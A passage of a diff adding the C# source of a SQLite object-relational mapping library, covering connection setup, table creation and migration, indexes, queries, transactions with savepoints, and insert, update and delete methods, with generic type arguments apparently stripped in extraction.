copyright notice and this permission notice shall be included in +// all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +// THE SOFTWARE. +// +//#if WINDOWS_PHONE && !USE_WP8_NATIVE_SQLITE +//#define USE_CSHARP_SQLITE +//#endif + +using System; +using System.Diagnostics; +using System.Runtime.InteropServices; +using System.Collections.Generic; +using System.Reflection; +using System.Linq; +using System.Linq.Expressions; +using System.Threading; + +#if !NOT_USE_CSHARP_SQLITE //#if USE_CSHARP_SQLITE +using Sqlite3 = Community.CsharpSqlite.Sqlite3; +using Sqlite3DatabaseHandle = Community.CsharpSqlite.Sqlite3.sqlite3; +using Sqlite3Statement = Community.CsharpSqlite.Sqlite3.Vdbe; +#elif USE_WP8_NATIVE_SQLITE +using Sqlite3 = Sqlite.Sqlite3; +using Sqlite3DatabaseHandle = Sqlite.Database; +using Sqlite3Statement = Sqlite.Statement; +#else +using Sqlite3DatabaseHandle = System.IntPtr; +using Sqlite3Statement = System.IntPtr; +#endif + +namespace SQLite +{ + + public class SQLiteQueryRow + { + public List column; + } + public class SQLiteQueryColumn + { + public string Key; + public object Value; + } + + + public class SQLiteException : Exception + { + public SQLite3.Result Result { get; private set; } + + protected SQLiteException (SQLite3.Result r,string message) : base(message) + { + Result = r; + } + + public static SQLiteException New (SQLite3.Result r, string message) + { + return new SQLiteException (r, message); + } + } + + [Flags] + public enum SQLiteOpenFlags { + ReadOnly = 1, ReadWrite = 2, Create = 4, + OpenUri = 0x00000040, + NoMutex = 0x8000, FullMutex = 0x10000, + SharedCache = 0x20000, PrivateCache = 0x40000, + ProtectionComplete = 0x00100000, + ProtectionCompleteUnlessOpen = 0x00200000, + ProtectionCompleteUntilFirstUserAuthentication = 0x00300000, + ProtectionNone = 0x00400000 + } + + [Flags] + public enum CreateFlags + { + None = 0, + ImplicitPK = 1, // create a primary key for field called 'Id' (Orm.ImplicitPkName) + ImplicitIndex = 2, // create an index for fields ending in 'Id' (Orm.ImplicitIndexSuffix) + AllImplicit = 3, // do both above + + AutoIncPK = 4 // force PK field to be auto inc + } + + /// + /// Represents an open connection to a SQLite database. + /// + public partial class SQLiteConnection : IDisposable + { + private bool _open; + private TimeSpan _busyTimeout; + private Dictionary _mappings = null; + private Dictionary _tables = null; + private System.Diagnostics.Stopwatch _sw; + private long _elapsedMilliseconds = 0; + + private int _transactionDepth = 0; + private Random _rand = new Random (); + + public Sqlite3DatabaseHandle Handle { get; private set; } + internal static readonly Sqlite3DatabaseHandle NullHandle = default(Sqlite3DatabaseHandle); + + public string DatabasePath { get; private set; } + + public bool TimeExecution { get; set; } + + public bool Trace { get; set; } + + public bool StoreDateTimeAsTicks { get; private set; } + + /// + /// Constructs a new SQLiteConnection and opens a SQLite database specified by databasePath. + /// + /// + /// Specifies the path to the database file. + /// + /// + /// Specifies whether to store DateTime properties as ticks (true) or strings (false). You + /// absolutely do want to store them as Ticks in all new projects. The default of false is + /// only here for backwards compatibility. There is a *significant* speed advantage, with no + /// down sides, when setting storeDateTimeAsTicks = true. + /// + public SQLiteConnection (string databasePath, bool storeDateTimeAsTicks = false) + : this (databasePath, SQLiteOpenFlags.ReadWrite | SQLiteOpenFlags.Create, storeDateTimeAsTicks) + { + } + + /// + /// Constructs a new SQLiteConnection and opens a SQLite database specified by databasePath. + /// + /// + /// Specifies the path to the database file. + /// + /// + /// Specifies whether to store DateTime properties as ticks (true) or strings (false). You + /// absolutely do want to store them as Ticks in all new projects. The default of false is + /// only here for backwards compatibility. There is a *significant* speed advantage, with no + /// down sides, when setting storeDateTimeAsTicks = true. + /// + public SQLiteConnection (string databasePath, SQLiteOpenFlags openFlags, bool storeDateTimeAsTicks = false) + { + if (string.IsNullOrEmpty (databasePath)) + throw new ArgumentException ("Must be specified", "databasePath"); + + DatabasePath = databasePath; + +#if NETFX_CORE + SQLite3.SetDirectory(/*temp directory type*/2, Windows.Storage.ApplicationData.Current.TemporaryFolder.Path); +#endif + + Sqlite3DatabaseHandle handle; + +//#if SILVERLIGHT || USE_CSHARP_SQLITE +#if (!NO_SILVERLIGHT) || (!USE_CSHARP_SQLITE) + var r = SQLite3.Open (databasePath, out handle, (int)openFlags, IntPtr.Zero); +#else + // open using the byte[] + // in the case where the path may include Unicode + // force open to using UTF-8 using sqlite3_open_v2 + var databasePathAsBytes = GetNullTerminatedUtf8 (DatabasePath); + var r = SQLite3.Open (databasePathAsBytes, out handle, (int) openFlags, IntPtr.Zero); +#endif + + Handle = handle; + if (r != SQLite3.Result.OK) { + throw SQLiteException.New (r, String.Format ("Could not open database file: {0} ({1})", DatabasePath, r)); + } + _open = true; + + StoreDateTimeAsTicks = storeDateTimeAsTicks; + + BusyTimeout = TimeSpan.FromSeconds (0.1); + } + + static SQLiteConnection () + { + if (_preserveDuringLinkMagic) { + var ti = new ColumnInfo (); + ti.Name = "magic"; + } + } + + public void EnableLoadExtension(int onoff) + { + SQLite3.Result r = SQLite3.EnableLoadExtension(Handle, onoff); + if (r != SQLite3.Result.OK) { + string msg = SQLite3.GetErrmsg (Handle); + throw SQLiteException.New (r, msg); + } + } + + static byte[] GetNullTerminatedUtf8 (string s) + { + var utf8Length = System.Text.Encoding.UTF8.GetByteCount (s); + var bytes = new byte [utf8Length + 1]; + utf8Length = System.Text.Encoding.UTF8.GetBytes(s, 0, s.Length, bytes, 0); + return bytes; + } + + /// + /// Used to list some code that we want the MonoTouch linker + /// to see, but that we never want to actually execute. + /// + static bool _preserveDuringLinkMagic; + + /// + /// Sets a busy handler to sleep the specified amount of time when a table is locked. + /// The handler will sleep multiple times until a total time of has accumulated. + /// + public TimeSpan BusyTimeout { + get { return _busyTimeout; } + set { + _busyTimeout = value; + if (Handle != NullHandle) { + SQLite3.BusyTimeout (Handle, (int)_busyTimeout.TotalMilliseconds); + } + } + } + + /// + /// Returns the mappings from types to tables that the connection + /// currently understands. + /// + public IEnumerable TableMappings { + get { + return _tables != null ? _tables.Values : Enumerable.Empty (); + } + } + + /// + /// Retrieves the mapping that is automatically generated for the given type. + /// + /// + /// The type whose mapping to the database is returned. + /// + /// + /// Optional flags allowing implicit PK and indexes based on naming conventions + /// + /// + /// The mapping represents the schema of the columns of the database and contains + /// methods to set and get properties of objects. + /// + public TableMapping GetMapping(Type type, CreateFlags createFlags = CreateFlags.None) + { + if (_mappings == null) { + _mappings = new Dictionary (); + } + TableMapping map; + if (!_mappings.TryGetValue (type.FullName, out map)) { + map = new TableMapping (type, createFlags); + _mappings [type.FullName] = map; + } + return map; + } + + /// + /// Retrieves the mapping that is automatically generated for the given type. + /// + /// + /// The mapping represents the schema of the columns of the database and contains + /// methods to set and get properties of objects. + /// + public TableMapping GetMapping () + { + return GetMapping (typeof (T)); + } + + private struct IndexedColumn + { + public int Order; + public string ColumnName; + } + + private struct IndexInfo + { + public string IndexName; + public string TableName; + public bool Unique; + public List Columns; + } + + /// + /// Executes a "drop table" on the database. This is non-recoverable. + /// + public int DropTable() + { + var map = GetMapping (typeof (T)); + + var query = string.Format("drop table if exists \"{0}\"", map.TableName); + + return Execute (query); + } + + /// + /// Executes a "create table if not exists" on the database. It also + /// creates any specified indexes on the columns of the table. It uses + /// a schema automatically generated from the specified type. You can + /// later access this schema by calling GetMapping. + /// + /// + /// The number of entries added to the database schema. + /// + public int CreateTable(CreateFlags createFlags = CreateFlags.None) + { + return CreateTable(typeof (T), createFlags); + } + + /// + /// Executes a "create table if not exists" on the database. It also + /// creates any specified indexes on the columns of the table. It uses + /// a schema automatically generated from the specified type. You can + /// later access this schema by calling GetMapping. + /// + /// Type to reflect to a database table. + /// Optional flags allowing implicit PK and indexes based on naming conventions. + /// + /// The number of entries added to the database schema. + /// + public int CreateTable(Type ty, CreateFlags createFlags = CreateFlags.None) + { + if (_tables == null) { + _tables = new Dictionary (); + } + TableMapping map; + if (!_tables.TryGetValue (ty.FullName, out map)) { + map = GetMapping (ty, createFlags); + _tables.Add (ty.FullName, map); + } + var query = "create table if not exists \"" + map.TableName + "\"(\n"; + + var decls = map.Columns.Select (p => Orm.SqlDecl (p, StoreDateTimeAsTicks)); + var decl = string.Join (",\n", decls.ToArray ()); + query += decl; + query += ")"; + + var count = Execute (query); + + if (count == 0) { //Possible bug: This always seems to return 0? + // Table already exists, migrate it + MigrateTable (map); + } + + var indexes = new Dictionary (); + foreach (var c in map.Columns) { + foreach (var i in c.Indices) { + var iname = i.Name ?? map.TableName + "_" + c.Name; + IndexInfo iinfo; + if (!indexes.TryGetValue (iname, out iinfo)) { + iinfo = new IndexInfo { + IndexName = iname, + TableName = map.TableName, + Unique = i.Unique, + Columns = new List () + }; + indexes.Add (iname, iinfo); + } + + if (i.Unique != iinfo.Unique) + throw new Exception ("All the columns in an index must have the same value for their Unique property"); + + iinfo.Columns.Add (new IndexedColumn { + Order = i.Order, + ColumnName = c.Name + }); + } + } + + foreach (var indexName in indexes.Keys) { + var index = indexes[indexName]; + var columns = String.Join("\",\"", index.Columns.OrderBy(i => i.Order).Select(i => i.ColumnName).ToArray()); + count += CreateIndex(indexName, index.TableName, columns, index.Unique); + } + + return count; + } + + /// + /// Creates an index for the specified table and column. + /// + /// Name of the index to create + /// Name of the database table + /// Name of the column to index + /// Whether the index should be unique + public int CreateIndex(string indexName, string tableName, string columnName, bool unique = false) + { + const string sqlFormat = "create {2} index if not exists \"{3}\" on \"{0}\"(\"{1}\")"; + var sql = String.Format(sqlFormat, tableName, columnName, unique ? "unique" : "", indexName); + return Execute(sql); + } + + /// + /// Creates an index for the specified table and column. + /// + /// Name of the database table + /// Name of the column to index + /// Whether the index should be unique + public int CreateIndex(string tableName, string columnName, bool unique = false) + { + return CreateIndex(string.Concat(tableName, "_", columnName.Replace("\",\"", "_")), tableName, columnName, unique); + } + + /// + /// Creates an index for the specified object property. + /// e.g. CreateIndex(c => c.Name); + /// + /// Type to reflect to a database table. + /// Property to index + /// Whether the index should be unique + public void CreateIndex(Expression> property, bool unique = false) + { + MemberExpression mx; + if (property.Body.NodeType == ExpressionType.Convert) + { + mx = ((UnaryExpression)property.Body).Operand as MemberExpression; + } + else + { + mx= (property.Body as MemberExpression); + } + var propertyInfo = mx.Member as PropertyInfo; + if (propertyInfo == null) + { + throw new ArgumentException("The lambda expression 'property' should point to a valid Property"); + } + + var propName = propertyInfo.Name; + + var map = GetMapping(); + var colName = map.FindColumnWithPropertyName(propName).Name; + + CreateIndex(map.TableName, colName, unique); + } + + public class ColumnInfo + { +// public int cid { get; set; } + + [Column ("name")] + public string Name { get; set; } + +// [Column ("type")] +// public string ColumnType { get; set; } + +// public int notnull { get; set; } + +// public string dflt_value { get; set; } + +// public int pk { get; set; } + + public override string ToString () + { + return Name; + } + } + + public List GetTableInfo (string tableName) + { + var query = "pragma table_info(\"" + tableName + "\")"; + return Query (query); + } + + void MigrateTable (TableMapping map) + { + var existingCols = GetTableInfo (map.TableName); + + var toBeAdded = new List (); + + foreach (var p in map.Columns) { + var found = false; + foreach (var c in existingCols) { + found = (string.Compare (p.Name, c.Name, StringComparison.OrdinalIgnoreCase) == 0); + if (found) + break; + } + if (!found) { + toBeAdded.Add (p); + } + } + + foreach (var p in toBeAdded) { + var addCol = "alter table \"" + map.TableName + "\" add column " + Orm.SqlDecl (p, StoreDateTimeAsTicks); + Execute (addCol); + } + } + + /// + /// Creates a new SQLiteCommand. Can be overridden to provide a sub-class. + /// + /// + protected virtual SQLiteCommand NewCommand () + { + return new SQLiteCommand (this); + } + + /// + /// Creates a new SQLiteCommand given the command text with arguments. Place a '?' + /// in the command text for each of the arguments. + /// + /// + /// The fully escaped SQL. + /// + /// + /// Arguments to substitute for the occurences of '?' in the command text. + /// + /// + /// A + /// + public SQLiteCommand CreateCommand (string cmdText, params object[] ps) + { + if (!_open) + throw SQLiteException.New (SQLite3.Result.Error, "Cannot create commands from unopened database"); + + var cmd = NewCommand (); + cmd.CommandText = cmdText; + foreach (var o in ps) { + cmd.Bind (o); + } + return cmd; + } + + /// + /// Creates a SQLiteCommand given the command text (SQL) with arguments. Place a '?' + /// in the command text for each of the arguments and then executes that command. + /// Use this method instead of Query when you don't expect rows back. Such cases include + /// INSERTs, UPDATEs, and DELETEs. + /// You can set the Trace or TimeExecution properties of the connection + /// to profile execution. + /// + /// + /// The fully escaped SQL. + /// + /// + /// Arguments to substitute for the occurences of '?' in the query. + /// + /// + /// The number of rows modified in the database as a result of this execution. + /// + public int Execute (string query, params object[] args) + { + var cmd = CreateCommand (query, args); + + if (TimeExecution) { + if (_sw == null) { + _sw = new Stopwatch (); + } + _sw.Reset (); + _sw.Start (); + } + + var r = cmd.ExecuteNonQuery (); + + if (TimeExecution) { + _sw.Stop (); + _elapsedMilliseconds += _sw.ElapsedMilliseconds; + Debug.WriteLine (string.Format ("Finished in {0} ms ({1:0.0} s total)", _sw.ElapsedMilliseconds, _elapsedMilliseconds / 1000.0)); + } + + return r; + } + + public T ExecuteScalar (string query, params object[] args) + { + var cmd = CreateCommand (query, args); + + if (TimeExecution) { + if (_sw == null) { + _sw = new Stopwatch (); + } + _sw.Reset (); + _sw.Start (); + } + + var r = cmd.ExecuteScalar (); + + if (TimeExecution) { + _sw.Stop (); + _elapsedMilliseconds += _sw.ElapsedMilliseconds; + Debug.WriteLine (string.Format ("Finished in {0} ms ({1:0.0} s total)", _sw.ElapsedMilliseconds, _elapsedMilliseconds / 1000.0)); + } + + return r; + } + + public List Query2(string query, params object[] args) + { + var cmd = CreateCommand(query, args); + return cmd.ExecuteQuery(); + } + + /// + /// Creates a SQLiteCommand given the command text (SQL) with arguments. Place a '?' + /// in the command text for each of the arguments and then executes that command. + /// It returns each row of the result using the mapping automatically generated for + /// the given type. + /// + /// + /// The fully escaped SQL. + /// + /// + /// Arguments to substitute for the occurences of '?' in the query. + /// + /// + /// An enumerable with one result for each row returned by the query. + /// + public List Query (string query, params object[] args) where T : new() + { + var cmd = CreateCommand (query, args); + return cmd.ExecuteQuery (); + } + + /// + /// Creates a SQLiteCommand given the command text (SQL) with arguments. Place a '?' + /// in the command text for each of the arguments and then executes that command. + /// It returns each row of the result using the mapping automatically generated for + /// the given type. + /// + /// + /// The fully escaped SQL. + /// + /// + /// Arguments to substitute for the occurences of '?' in the query. + /// + /// + /// An enumerable with one result for each row returned by the query. + /// The enumerator will call sqlite3_step on each call to MoveNext, so the database + /// connection must remain open for the lifetime of the enumerator. + /// + public IEnumerable DeferredQuery(string query, params object[] args) where T : new() + { + var cmd = CreateCommand(query, args); + return cmd.ExecuteDeferredQuery(); + } + + /// + /// Creates a SQLiteCommand given the command text (SQL) with arguments. Place a '?' + /// in the command text for each of the arguments and then executes that command. + /// It returns each row of the result using the specified mapping. This function is + /// only used by libraries in order to query the database via introspection. It is + /// normally not used. + /// + /// + /// A to use to convert the resulting rows + /// into objects. + /// + /// + /// The fully escaped SQL. + /// + /// + /// Arguments to substitute for the occurences of '?' in the query. + /// + /// + /// An enumerable with one result for each row returned by the query. + /// + public List Query (TableMapping map, string query, params object[] args) + { + var cmd = CreateCommand (query, args); + return cmd.ExecuteQuery (map); + } + + /// + /// Creates a SQLiteCommand given the command text (SQL) with arguments. Place a '?' + /// in the command text for each of the arguments and then executes that command. + /// It returns each row of the result using the specified mapping. This function is + /// only used by libraries in order to query the database via introspection. It is + /// normally not used. + /// + /// + /// A to use to convert the resulting rows + /// into objects. + /// + /// + /// The fully escaped SQL. + /// + /// + /// Arguments to substitute for the occurences of '?' in the query. + /// + /// + /// An enumerable with one result for each row returned by the query. + /// The enumerator will call sqlite3_step on each call to MoveNext, so the database + /// connection must remain open for the lifetime of the enumerator. + /// + public IEnumerable DeferredQuery(TableMapping map, string query, params object[] args) + { + var cmd = CreateCommand(query, args); + return cmd.ExecuteDeferredQuery(map); + } + + /// + /// Returns a queryable interface to the table represented by the given type. + /// + /// + /// A queryable object that is able to translate Where, OrderBy, and Take + /// queries into native SQL. + /// + public TableQuery Table () where T : new() + { + return new TableQuery (this); + } + + /// + /// Attempts to retrieve an object with the given primary key from the table + /// associated with the specified type. Use of this method requires that + /// the given type have a designated PrimaryKey (using the PrimaryKeyAttribute). + /// + /// + /// The primary key. + /// + /// + /// The object with the given primary key. Throws a not found exception + /// if the object is not found. + /// + public T Get (object pk) where T : new() + { + var map = GetMapping (typeof(T)); + return Query (map.GetByPrimaryKeySql, pk).First (); + } + + /// + /// Attempts to retrieve the first object that matches the predicate from the table + /// associated with the specified type. + /// + /// + /// A predicate for which object to find. + /// + /// + /// The object that matches the given predicate. Throws a not found exception + /// if the object is not found. + /// + public T Get (Expression> predicate) where T : new() + { + return Table ().Where (predicate).First (); + } + + /// + /// Attempts to retrieve an object with the given primary key from the table + /// associated with the specified type. Use of this method requires that + /// the given type have a designated PrimaryKey (using the PrimaryKeyAttribute). + /// + /// + /// The primary key. + /// + /// + /// The object with the given primary key or null + /// if the object is not found. + /// + public T Find (object pk) where T : new () + { + var map = GetMapping (typeof (T)); + return Query (map.GetByPrimaryKeySql, pk).FirstOrDefault (); + } + + /// + /// Attempts to retrieve an object with the given primary key from the table + /// associated with the specified type. Use of this method requires that + /// the given type have a designated PrimaryKey (using the PrimaryKeyAttribute). + /// + /// + /// The primary key. + /// + /// + /// The TableMapping used to identify the object type. + /// + /// + /// The object with the given primary key or null + /// if the object is not found. + /// + public object Find (object pk, TableMapping map) + { + return Query (map, map.GetByPrimaryKeySql, pk).FirstOrDefault (); + } + + /// + /// Attempts to retrieve the first object that matches the predicate from the table + /// associated with the specified type. + /// + /// + /// A predicate for which object to find. + /// + /// + /// The object that matches the given predicate or null + /// if the object is not found. + /// + public T Find (Expression> predicate) where T : new() + { + return Table ().Where (predicate).FirstOrDefault (); + } + + /// + /// Whether has been called and the database is waiting for a . + /// + public bool IsInTransaction { + get { return _transactionDepth > 0; } + } + + /// + /// Begins a new transaction. Call to end the transaction. + /// + /// Throws if a transaction has already begun. + public void BeginTransaction () + { + // The BEGIN command only works if the transaction stack is empty, + // or in other words if there are no pending transactions. + // If the transaction stack is not empty when the BEGIN command is invoked, + // then the command fails with an error. + // Rather than crash with an error, we will just ignore calls to BeginTransaction + // that would result in an error. + if (Interlocked.CompareExchange (ref _transactionDepth, 1, 0) == 0) { + try { + Execute ("begin transaction"); + } catch (Exception ex) { + var sqlExp = ex as SQLiteException; + if (sqlExp != null) { + // It is recommended that applications respond to the errors listed below + // by explicitly issuing a ROLLBACK command. + // TODO: This rollback failsafe should be localized to all throw sites. + switch (sqlExp.Result) { + case SQLite3.Result.IOError: + case SQLite3.Result.Full: + case SQLite3.Result.Busy: + case SQLite3.Result.NoMem: + case SQLite3.Result.Interrupt: + RollbackTo (null, true); + break; + } + } else { + // Call decrement and not VolatileWrite in case we've already + // created a transaction point in SaveTransactionPoint since the catch. + Interlocked.Decrement (ref _transactionDepth); + } + + throw; + } + } else { + // Calling BeginTransaction on an already open transaction is invalid + throw new InvalidOperationException ("Cannot begin a transaction while already in a transaction."); + } + } + + /// + /// Creates a savepoint in the database at the current point in the transaction timeline. + /// Begins a new transaction if one is not in progress. + /// + /// Call to undo transactions since the returned savepoint. + /// Call to commit transactions after the savepoint returned here. + /// Call to end the transaction, committing all changes. + /// + /// A string naming the savepoint. + public string SaveTransactionPoint () + { + int depth = Interlocked.Increment (ref _transactionDepth) - 1; + string retVal = "S" + _rand.Next (short.MaxValue) + "D" + depth; + + try { + Execute ("savepoint " + retVal); + } catch (Exception ex) { + var sqlExp = ex as SQLiteException; + if (sqlExp != null) { + // It is recommended that applications respond to the errors listed below + // by explicitly issuing a ROLLBACK command. + // TODO: This rollback failsafe should be localized to all throw sites. + switch (sqlExp.Result) { + case SQLite3.Result.IOError: + case SQLite3.Result.Full: + case SQLite3.Result.Busy: + case SQLite3.Result.NoMem: + case SQLite3.Result.Interrupt: + RollbackTo (null, true); + break; + } + } else { + Interlocked.Decrement (ref _transactionDepth); + } + + throw; + } + + return retVal; + } + + /// + /// Rolls back the transaction that was begun by or . + /// + public void Rollback () + { + RollbackTo (null, false); + } + + /// + /// Rolls back the savepoint created by or SaveTransactionPoint. + /// + /// The name of the savepoint to roll back to, as returned by . If savepoint is null or empty, this method is equivalent to a call to + public void RollbackTo (string savepoint) + { + RollbackTo (savepoint, false); + } + + /// + /// Rolls back the transaction that was begun by . + /// + /// true to avoid throwing exceptions, false otherwise + void RollbackTo (string savepoint, bool noThrow) + { + // Rolling back without a TO clause rolls backs all transactions + // and leaves the transaction stack empty. + try { + if (String.IsNullOrEmpty (savepoint)) { + if (Interlocked.Exchange (ref _transactionDepth, 0) > 0) { + Execute ("rollback"); + } + } else { + DoSavePointExecute (savepoint, "rollback to "); + } + } catch (SQLiteException) { + if (!noThrow) + throw; + + } + // No need to rollback if there are no transactions open. + } + + /// + /// Releases a savepoint returned from . Releasing a savepoint + /// makes changes since that savepoint permanent if the savepoint began the transaction, + /// or otherwise the changes are permanent pending a call to . + /// + /// The RELEASE command is like a COMMIT for a SAVEPOINT. + /// + /// The name of the savepoint to release. The string should be the result of a call to + public void Release (string savepoint) + { + DoSavePointExecute (savepoint, "release "); + } + + void DoSavePointExecute (string savepoint, string cmd) + { + // Validate the savepoint + int firstLen = savepoint.IndexOf ('D'); + if (firstLen >= 2 && savepoint.Length > firstLen + 1) { + int depth; + if (Int32.TryParse (savepoint.Substring (firstLen + 1), out depth)) { + // TODO: Mild race here, but inescapable without locking almost everywhere. + if (0 <= depth && depth < _transactionDepth) { +//#if NETFX_CORE +// Volatile.Write (ref _transactionDepth, depth); +//#elif SILVERLIGHT + _transactionDepth = depth; +//#else +// Thread.VolatileWrite (ref _transactionDepth, depth); +//#endif + Execute (cmd + savepoint); + return; + } + } + } + + throw new ArgumentException ("savePoint is not valid, and should be the result of a call to SaveTransactionPoint.", "savePoint"); + } + + /// + /// Commits the transaction that was begun by . + /// + public void Commit () + { + if (Interlocked.Exchange (ref _transactionDepth, 0) != 0) { + Execute ("commit"); + } + // Do nothing on a commit with no open transaction + } + + /// + /// Executes within a (possibly nested) transaction by wrapping it in a SAVEPOINT. If an + /// exception occurs the whole transaction is rolled back, not just the current savepoint. The exception + /// is rethrown. + /// + /// + /// The to perform within a transaction. can contain any number + /// of operations on the connection but should never call or + /// . + /// + public void RunInTransaction (Action action) + { + try { + var savePoint = SaveTransactionPoint (); + action (); + Release (savePoint); + } catch (Exception) { + Rollback (); + throw; + } + } + + /// + /// Inserts all specified objects. + /// + /// + /// An of the objects to insert. + /// + /// + /// The number of rows added to the table. + /// + public int InsertAll (System.Collections.IEnumerable objects) + { + var c = 0; + RunInTransaction(() => { + foreach (var r in objects) { + c += Insert (r); + } + }); + return c; + } + + /// + /// Inserts all specified objects. + /// + /// + /// An of the objects to insert. + /// + /// + /// Literal SQL code that gets placed into the command. INSERT {extra} INTO ... + /// + /// + /// The number of rows added to the table. + /// + public int InsertAll (System.Collections.IEnumerable objects, string extra) + { + var c = 0; + RunInTransaction (() => { + foreach (var r in objects) { + c += Insert (r, extra); + } + }); + return c; + } + + /// + /// Inserts all specified objects. + /// + /// + /// An of the objects to insert. + /// + /// + /// The type of object to insert. + /// + /// + /// The number of rows added to the table. + /// + public int InsertAll (System.Collections.IEnumerable objects, Type objType) + { + var c = 0; + RunInTransaction (() => { + foreach (var r in objects) { + c += Insert (r, objType); + } + }); + return c; + } + + /// + /// Inserts the given object and retrieves its + /// auto incremented primary key if it has one. + /// + /// + /// The object to insert. + /// + /// + /// The number of rows added to the table. + /// + public int Insert (object obj) + { + if (obj == null) { + return 0; + } + return Insert (obj, "", obj.GetType ()); + } + + /// + /// Inserts the given object and retrieves its + /// auto incremented primary key if it has one. + /// If a UNIQUE constraint violation occurs with + /// some pre-existing object, this function deletes + /// the old object. + /// + /// + /// The object to insert. + /// + /// + /// The number of rows modified. + /// + public int InsertOrReplace (object obj) + { + if (obj == null) { + return 0; + } + return Insert (obj, "OR REPLACE", obj.GetType ()); + } + + /// + /// Inserts the given object and retrieves its + /// auto incremented primary key if it has one. + /// + /// + /// The object to insert. + /// + /// + /// The type of object to insert. + /// + /// + /// The number of rows added to the table. + /// + public int Insert (object obj, Type objType) + { + return Insert (obj, "", objType); + } + + /// + /// Inserts the given object and retrieves its + /// auto incremented primary key if it has one. + /// If a UNIQUE constraint violation occurs with + /// some pre-existing object, this function deletes + /// the old object. + /// + /// + /// The object to insert. + /// + /// + /// The type of object to insert. + /// + /// + /// The number of rows modified. + /// + public int InsertOrReplace (object obj, Type objType) + { + return Insert (obj, "OR REPLACE", objType); + } + + /// + /// Inserts the given object and retrieves its + /// auto incremented primary key if it has one. + /// + /// + /// The object to insert. + /// + /// + /// Literal SQL code that gets placed into the command. INSERT {extra} INTO ... + /// + /// + /// The number of rows added to the table. + /// + public int Insert (object obj, string extra) + { + if (obj == null) { + return 0; + } + return Insert (obj, extra, obj.GetType ()); + } + + /// + /// Inserts the given object and retrieves its + /// auto incremented primary key if it has one. + /// + /// + /// The object to insert. + /// + /// + /// Literal SQL code that gets placed into the command. INSERT {extra} INTO ... + /// + /// + /// The type of object to insert. + /// + /// + /// The number of rows added to the table. + /// + public int Insert (object obj, string extra, Type objType) + { + if (obj == null || objType == null) { + return 0; + } + + + var map = GetMapping (objType); + +#if NETFX_CORE + if (map.PK != null && map.PK.IsAutoGuid) + { + // no GetProperty so search our way up the inheritance chain till we find it + PropertyInfo prop; + while (objType != null) + { + var info = objType.GetTypeInfo(); + prop = info.GetDeclaredProperty(map.PK.PropertyName); + if (prop != null) + { + if (prop.GetValue(obj, null).Equals(Guid.Empty)) + { + prop.SetValue(obj, Guid.NewGuid(), null); + } + break; + } + + objType = info.BaseType; + } + } +#else + if (map.PK != null && map.PK.IsAutoGuid) { + var prop = objType.GetProperty(map.PK.PropertyName); + if (prop != null) { + if (prop.GetValue(obj, null).Equals(Guid.Empty)) { + prop.SetValue(obj, Guid.NewGuid(), null); + } + } + } +#endif + + + var replacing = string.Compare (extra, "OR REPLACE", StringComparison.OrdinalIgnoreCase) == 0; + + var cols = replacing ? map.InsertOrReplaceColumns : map.InsertColumns; + var vals = new object[cols.Length]; + for (var i = 0; i < vals.Length; i++) { + vals [i] = cols [i].GetValue (obj); + } + + var insertCmd = map.GetInsertCommand (this, extra); + var count = insertCmd.ExecuteNonQuery (vals); + + if (map.HasAutoIncPK) + { + var id = SQLite3.LastInsertRowid (Handle); + map.SetAutoIncPK (obj, id); + } + + return count; + } + + /// + /// Updates all of the columns of a table using the specified object + /// except for its primary key. + /// The object is required to have a primary key. + /// + /// + /// The object to update. It must have a primary key designated using the PrimaryKeyAttribute. + /// + /// + /// The number of rows updated. + /// + public int Update (object obj) + { + if (obj == null) { + return 0; + } + return Update (obj, obj.GetType ()); + } + + /// + /// Updates all of the columns of a table using the specified object + /// except for its primary key. + /// The object is required to have a primary key. + /// + /// + /// The object to update. It must have a primary key designated using the PrimaryKeyAttribute. + /// + /// + /// The type of object to insert. + /// + /// + /// The number of rows updated. + /// + public int Update (object obj, Type objType) + { + if (obj == null || objType == null) { + return 0; + } + + var map = GetMapping (objType); + + var pk = map.PK; + + if (pk == null) { + throw new NotSupportedException ("Cannot update " + map.TableName + ": it has no PK"); + } + + var cols = from p in map.Columns + where p != pk + select p; + var vals = from c in cols + select c.GetValue (obj); + var ps = new List (vals); + ps.Add (pk.GetValue (obj)); + var q = string.Format ("update \"{0}\" set {1} where {2} = ? ", map.TableName, string.Join (",", (from c in cols + select "\"" + c.Name + "\" = ? ").ToArray ()), pk.Name); + return Execute (q, ps.ToArray ()); + } + + /// + /// Updates all specified objects. + /// + /// + /// An of the objects to insert. + /// + /// + /// The number of rows modified. + /// + public int UpdateAll (System.Collections.IEnumerable objects) + { + var c = 0; + RunInTransaction (() => { + foreach (var r in objects) { + c += Update (r); + } + }); + return c; + } + + /// + /// Deletes the given object from the database using its primary key. + /// + /// + /// The object to delete. It must have a primary key designated using the PrimaryKeyAttribute. + /// + /// + /// The number of rows deleted. + /// + public int Delete (object objectToDelete) + { + var map = GetMapping (objectToDelete.GetType ()); + var pk = map.PK; + if (pk == null) { + throw new NotSupportedException ("Cannot delete " + map.TableName + ": it has no PK"); + } + var q = string.Format ("delete from \"{0}\" where \"{1}\" = ?", map.TableName, pk.Name); + return Execute (q, pk.GetValue (objectToDelete)); + } + + /// + /// Deletes the object with the specified primary key. + /// + /// + /// The primary key of the object to delete. + /// + /// + /// The number of objects deleted. + /// + /// + /// The type of object. + /// + public int Delete (object primaryKey) + { + var map = GetMapping (typeof (T)); + var pk = map.PK; + if (pk == null) { + throw new NotSupportedException ("Cannot delete " + map.TableName + ": it has no PK"); + } + var q = string.Format ("delete from \"{0}\" where \"{1}\" = ?", map.TableName, pk.Name); + return Execute (q, primaryKey); + } + + /// + /// Deletes all the objects from the specified table. + /// WARNING WARNING: Let me repeat. It deletes ALL the objects from the + /// specified table. Do you really want to do that? + /// + /// + /// The number of objects deleted. + /// + /// + /// The type of objects to delete. + /// + public int DeleteAll () + { + var map = GetMapping (typeof (T)); + var query = string.Format("delete from \"{0}\"", map.TableName); + return Execute (query); + } + + ~SQLiteConnection () + { + Dispose (false); + } + + public void Dispose () + { + Dispose (true); + GC.SuppressFinalize (this); + } + + protected virtual void Dispose (bool 